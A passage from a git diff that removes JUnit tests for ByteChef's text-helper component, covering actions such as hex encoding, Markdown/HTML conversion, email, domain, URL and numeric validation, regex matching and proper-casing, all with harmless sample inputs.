-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperGetTextLengthActionTest {
-
-    @Test
-    void testPerform() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "123456789"));
-
-        int result = TextHelperGetTextLengthAction.perform(mockedParameters, null, null);
-
-        assertEquals(9, result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperHexEncodeDecodeActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperHexEncodeDecodeActionTest.java
deleted file mode 100644
index b13969ec023..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperHexEncodeDecodeActionTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.OPERATION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import com.bytechef.component.text.helper.constant.OperationType;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperHexEncodeDecodeActionTest {
-
-    @Test
-    void testPerform() {
-        String text = "testing";
-
-        Parameters encodeMockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, text, OPERATION, OperationType.ENCODE.name()));
-
-        String encodedString = TextHelperHexEncodeDecodeAction.perform(
-            encodeMockedParameters, null, null);
-
-        Parameters decodeMockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, encodedString, OPERATION, OperationType.DECODE.name()));
-
-        String decodedString = TextHelperHexEncodeDecodeAction.perform(
-            decodeMockedParameters, null, null);
-
-        assertEquals(text, decodedString);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperHtmlToMarkdownActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperHtmlToMarkdownActionTest.java
deleted file mode 100644
index a1671cc123e..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperHtmlToMarkdownActionTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.HTML;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Monika Kušter
- */
-class TextHelperHtmlToMarkdownActionTest {
-
-    private final Parameters mockedParameters = MockParametersFactory.create(Map.of(HTML, "<h1>Hello World</h1>"));
-
-    @Test
-    void testPerform() {
-        String result = TextHelperHtmlToMarkdownAction.perform(
-            mockedParameters, mockedParameters, null);
-
-        String expected = """
-            Hello World
-            ===========
-
-            """;
-
-        assertEquals(expected, result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsDomainActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsDomainActionTest.java
deleted file mode 100644
index d762be809a2..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsDomainActionTest.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperIsDomainActionTest {
-
-    @Test
-    void testPerformValidDomain() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "example.com"));
-
-        boolean result = TextHelperIsDomainAction.perform(mockedParameters, null, null);
-
-        assertTrue(result);
-    }
-
-    @Test
-    void testPerformTwoPoints() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "example..com"));
-
-        boolean result = TextHelperIsDomainAction.perform(
-            mockedParameters, null, null);
-
-        assertFalse(result);
-    }
-
-    @Test
-    void testPerformInvalidDomain() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "-invalid.com"));
-
-        boolean result = TextHelperIsDomainAction.perform(mockedParameters, null, null);
-
-        assertFalse(result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsEmailActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsEmailActionTest.java
deleted file mode 100644
index 93519050a73..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsEmailActionTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperIsEmailActionTest {
-
-    @Test
-    void testPerformValidEmail() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "alice@example.com"));
-
-        boolean result = TextHelperIsEmailAction.perform(mockedParameters, null, null);
-
-        assertTrue(result);
-    }
-
-    @Test
-    void testPerformInvalidEmail() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "invalid-email"));
-
-        boolean result = TextHelperIsEmailAction.perform(mockedParameters, null, null);
-
-        assertFalse(result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsNumericActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsNumericActionTest.java
deleted file mode 100644
index d20cc754771..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsNumericActionTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperIsNumericActionTest {
-
-    private static boolean run(String text) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, text));
-
-        return TextHelperIsNumericAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void shouldAcceptInteger() {
-        assertTrue(run("123"));
-    }
-
-    @Test
-    void shouldAcceptNegativeInteger() {
-        assertTrue(run("-123"));
-    }
-
-    @Test
-    void shouldAcceptDecimal() {
-        assertTrue(run("123.45"));
-    }
-
-    @Test
-    void shouldAcceptNegativeDecimal() {
-        assertTrue(run("-123.45"));
-    }
-
-    @Test
-    void shouldAcceptLeadingPlus() {
-        assertTrue(run("+123"));
-    }
-
-    @Test
-    void shouldAcceptScientificNotation() {
-        assertTrue(run("1e10"));
-        assertTrue(run("1E-10"));
-    }
-
-    @Test
-    void shouldAcceptHexadecimal() {
-        assertTrue(run("0xFF"));
-        assertTrue(run("-0x1A"));
-    }
-
-    @Test
-    void shouldAcceptZeroVariants() {
-        assertTrue(run("0"));
-        assertTrue(run("0.0"));
-    }
-
-    @Test
-    void shouldRejectEmptyString() {
-        assertFalse(run(""));
-    }
-
-    @Test
-    void shouldRejectBlankString() {
-        assertFalse(run(" "));
-        assertFalse(run("\t"));
-    }
-
-    @Test
-    void shouldRejectAlphabeticText() {
-        assertFalse(run("abc"));
-    }
-
-    @Test
-    void shouldRejectAlphanumericMix() {
-        assertFalse(run("123abc"));
-        assertFalse(run("abc123"));
-    }
-
-    @Test
-    void shouldRejectMultipleDecimals() {
-        assertFalse(run("1.2.3"));
-    }
-
-    @Test
-    void shouldRejectMultipleSigns() {
-        assertFalse(run("--1"));
-        assertFalse(run("+-1"));
-    }
-
-    @Test
-    void shouldRejectMalformedScientificNotation() {
-        assertFalse(run("1e"));
-        assertFalse(run("e10"));
-        assertFalse(run("1e1.0"));
-    }
-
-    @Test
-    void shouldRejectOnlyDecimalPoint() {
-        assertFalse(run("."));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsUrlActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsUrlActionTest.java
deleted file mode 100644
index de76366e993..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperIsUrlActionTest.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ALLOW_2_SLASHES;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ALLOW_ALL_SCHEMES;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ALLOW_LOCAL_URLS;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.NO_FRAGMENT;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.CsvSource;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperIsUrlActionTest {
-
-    @ParameterizedTest
-    @CsvSource({
-        "http://example.com, false, false, false, false, true",
-        "https://example.com/path, true, true, true, true, true",
-        "htp:/bad-url, false, false, false, false, false",
-        "http://localhost/test, false, false, false, true, true",
-        "http://localhost/test, false, false, false, false, false",
-        "http://example.com//path, true, false, false, false, true",
-        "http://example.com//path, false, false, false, false, false"
-    })
-    void testPerform(
-        String url, boolean allow2slashes, boolean noFragment, boolean allowAllSchemes, boolean allowLocalUrls,
-        boolean expectedResult) {
-
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, url,
-                ALLOW_2_SLASHES, allow2slashes,
-                NO_FRAGMENT, noFragment,
-                ALLOW_ALL_SCHEMES, allowAllSchemes,
-                ALLOW_LOCAL_URLS, allowLocalUrls));
-
-        assertEquals(expectedResult, TextHelperIsUrlAction.perform(mockedParameters, null, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperMarkdownToHtmlActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperMarkdownToHtmlActionTest.java
deleted file mode 100644
index 0619c4a335d..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperMarkdownToHtmlActionTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MARKDOWN;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Monika Kušter
- */
-class TextHelperMarkdownToHtmlActionTest {
-
-    private final Parameters mockedParameters = MockParametersFactory.create(Map.of(MARKDOWN, "# Hello World"));
-
-    @Test
-    void testPerform() {
-        String result = TextHelperMarkdownToHtmlAction.perform(mockedParameters, null, null);
-
-        String expected = "<h1><a href=\"#hello-world\" id=\"hello-world\">Hello World</a></h1>\n";
-
-        assertEquals(expected, result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperMatchActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperMatchActionTest.java
deleted file mode 100644
index e09de06c10a..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperMatchActionTest.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperMatchActionTest {
-
-    private List<String> run(String text, String regex) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, text, REGULAR_EXPRESSION, regex));
-
-        return TextHelperMatchAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void shouldReturnAllEmailMatches() {
-        String input = "My email is test@example.com and backup hello@domain.org";
-        String regex = "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}";
-
-        List<String> matches = run(input, regex);
-
-        assertEquals(2, matches.size());
-        assertTrue(matches.contains("test@example.com"));
-        assertTrue(matches.contains("hello@domain.org"));
-    }
-
-    @Test
-    void shouldReturnEmptyListIfNoMatch() {
-        String input = "No emails here!";
-        String regex = "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}";
-
-        List<String> matches = run(input, regex);
-
-        assertTrue(matches.isEmpty());
-    }
-
-    @Test
-    void shouldHandleEmptyInput() {
-        String input = "";
-        String regex = "\\d+";
-
-        List<String> matches = run(input, regex);
-
-        assertTrue(matches.isEmpty());
-    }
-
-    @Test
-    void shouldReturnAllNumbers() {
-        String input = "Numbers: 42, 123, 7";
-        String regex = "\\d+";
-
-        List<String> matches = run(input, regex);
-
-        assertEquals(3, matches.size());
-        assertTrue(matches.contains("42"));
-        assertTrue(matches.contains("123"));
-        assertTrue(matches.contains("7"));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseEmailActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseEmailActionTest.java
deleted file mode 100644
index 31d609b5ef0..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseEmailActionTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.DISPLAY_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.DOMAIN;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.EMAIL;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.LOCAL_PART;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperParseEmailActionTest {
-
-    @Test
-    void testPerformWithDisplayName() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(EMAIL, "John Doe <john.doe@example.com>"));
-
-        Map<String, String> result = TextHelperParseEmailAction.perform(mockedParameters, null, null);
-
-        assertEquals("John Doe", result.get(DISPLAY_NAME));
-        assertEquals("john.doe", result.get(LOCAL_PART));
-        assertEquals("example.com", result.get(DOMAIN));
-        assertEquals("john.doe@example.com", result.get(EMAIL));
-    }
-
-    @Test
-    void testPerformWithoutDisplayName() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(EMAIL, "jane.doe@example.com"));
-
-        Map<String, String> result = TextHelperParseEmailAction.perform(mockedParameters, null, null);
-
-        assertEquals("", result.get(DISPLAY_NAME));
-        assertEquals("jane.doe", result.get(LOCAL_PART));
-        assertEquals("example.com", result.get(DOMAIN));
-        assertEquals("jane.doe@example.com", result.get(EMAIL));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseEmailListActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseEmailListActionTest.java
deleted file mode 100644
index c24be68b9b7..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseEmailListActionTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.DISPLAY_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.DOMAIN;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.EMAIL;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.EMAILS;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.LOCAL_PART;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperParseEmailListActionTest {
-
-    @Test
-    void testPerform() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(EMAILS, List.of(
-                "John Doe <john.doe@example.com>", "Jane Doe <jane.doe@example.com>", "jack.smith@example.com")));
-
-        List<Map<String, String>> result = TextHelperParseEmailListAction.perform(mockedParameters, null, null);
-
-        List<Map<String, String>> expected = List.of(
-            Map.of(
-                DISPLAY_NAME, "John Doe",
-                LOCAL_PART, "john.doe",
-                DOMAIN, "example.com",
-                EMAIL, "john.doe@example.com"),
-            Map.of(
-                DISPLAY_NAME, "Jane Doe",
-                LOCAL_PART, "jane.doe",
-                DOMAIN, "example.com",
-                EMAIL, "jane.doe@example.com"),
-            Map.of(
-                DISPLAY_NAME, "",
-                LOCAL_PART, "jack.smith",
-                DOMAIN, "example.com",
-                EMAIL, "jack.smith@example.com"));
-
-        assertEquals(expected, result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseUrlActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseUrlActionTest.java
deleted file mode 100644
index 1f529320225..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperParseUrlActionTest.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.URL;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.AssertionsKt.assertNull;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperParseUrlActionTest {
-
-    @Test
-    void testPerform() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(
-            URL, "https://www.example.com:8080/path/to/page?param1=value1&param2=value2#section1"));
-
-        Map<String, Object> result = TextHelperParseUrlAction.perform(
-            mockedParameters, null, null);
-
-        assertEquals("https:", result.get("protocol"));
-        assertEquals(true, result.get("slashes"));
-        assertNull(result.get("auth"));
-        assertEquals("www.example.com:8080", result.get("host"));
-        assertEquals("8080", result.get("port"));
-        assertEquals("www.example.com", result.get("hostname"));
-        assertEquals("#section1", result.get("hash"));
-        assertEquals("?param1=value1&param2=value2", result.get("search"));
-        assertEquals("/path/to/page", result.get("pathname"));
-        assertEquals("/path/to/page?param1=value1&param2=value2", result.get("path"));
-        assertEquals(
-            "https://www.example.com:8080/path/to/page?param1=value1&param2=value2#section1",
-            result.get("href"));
-
-        @SuppressWarnings("unchecked")
-        Map<String, String> queryMap = (Map<String, String>) result.get("query");
-        assertEquals(2, queryMap.size());
-        assertEquals("value1", queryMap.get("param1"));
-        assertEquals("value2", queryMap.get("param2"));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperProperCaseActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperProperCaseActionTest.java
deleted file mode 100644
index 70c3ecb2158..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperProperCaseActionTest.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperProperCaseActionTest {
-
-    private static String run(String text) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, text));
-
-        return TextHelperProperCaseAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void shouldCapitalizeSingleWord() {
-        assertEquals("Hello", run("hello"));
-    }
-
-    @Test
-    void shouldCapitalizeMultipleWords() {
-        assertEquals("Hello World", run("hello world"));
-    }
-
-    @Test
-    void shouldPreserveLeadingAndTrailingSpaces() {
-        assertEquals(" Hello World ", run(" hello world "));
-    }
-
-    @Test
-    void shouldHandleMultipleSpacesBetweenWords() {
-        assertEquals("Hello   World", run("hello   world"));
-    }
-
-    @Test
-    void shouldHandleSingleCharacterWords() {
-        assertEquals("A B C", run("a b c"));
-    }
-
-    @Test
-    void shouldReturnEmptyStringWhenInputIsEmpty() {
-        assertEquals("", run(""));
-    }
-
-    @Test
-    void shouldHandleNumbersAndSymbols() {
-        assertEquals("Hello 123 World!", run("hello 123 world!"));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRegularExpressionMatchTestActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRegularExpressionMatchTestActionTest.java
deleted file mode 100644
index 12cac3cd695..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRegularExpressionMatchTestActionTest.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.IGNORE_CASE;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MULTILINE;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.UNICODE;
-import static org.junit.jupiter.api.Assertions.assertFalse;
